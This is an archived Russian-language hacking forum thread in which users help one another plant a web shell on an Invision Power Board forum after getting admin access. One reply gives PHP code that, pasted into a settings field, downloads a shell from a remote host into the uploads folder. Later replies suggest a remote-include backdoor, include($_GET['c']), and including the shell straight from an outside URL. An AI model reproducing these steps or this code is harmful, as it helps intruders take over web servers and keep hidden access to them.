Просмотр полной версии : Проблемы с заливкой шелла в ipb
anakreon
17.03.2007, 22:26
Народ помогите!!!.
Есть доступ к админке IPB. версия 2.1.*
Не получается залить шелл через смайлы и phtml
при скуль запросах из-под админки выдает ошибку.
Могу слить базу.
Подскажите пожалуйста решение данной проблемы.
Не получается залить шелл через смайлы и phtml
Почему? В чём траблы?
anakreon
18.03.2007, 00:48
загрузка в смайлы запрещены.
А через аттачи пишет ошибку. Мол обратитесь к админу для решения данной проблемы.
Настроил все правильно
так что остается только база. Вот и прошу совета как через базу залиться
В очередной раз почему то забылась самая простая заливка шела через новую настройку,
Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);
Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
Author: VampiRUS
anakreon
18.03.2007, 01:12
Гм... не проходит
Ругается
РЕДУПРЕЖДЕНИЕ IPB [2] fopen(): SAFE MODE Restriction in effect. The script whose uid is 1002 is not allowed to access /usr owned by uid 0 (Файл: /sources/admin/ad_settings.php(1145) : eval()'d code, строка: 4)
ПРЕДУПРЕЖДЕНИЕ IPB [2] fopen(/usr/home/vladimir/forum/uploads/remview.php): failed to open stream: No such file or directory (Файл: /sources/admin/ad_settings.php(1145) : eval()'d code, строка: 4)
а
<? include($_GET["c"]); ?>
неканает? или это для другого форума..))?
anakreon
18.03.2007, 12:59
помоему это для пхпбб
VampiRUS
18.03.2007, 15:20
а
<? include($_GET["c"]); ?>
неканает? или это для другого форума..))?
Собстаенно должно проканать он ведь не стал ругаться на то что файл с удалённого хоста. Можно тупо вписать include("http://site.ru/shell.txt");, только потом геморно удалять его будет в некоторых случаях.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot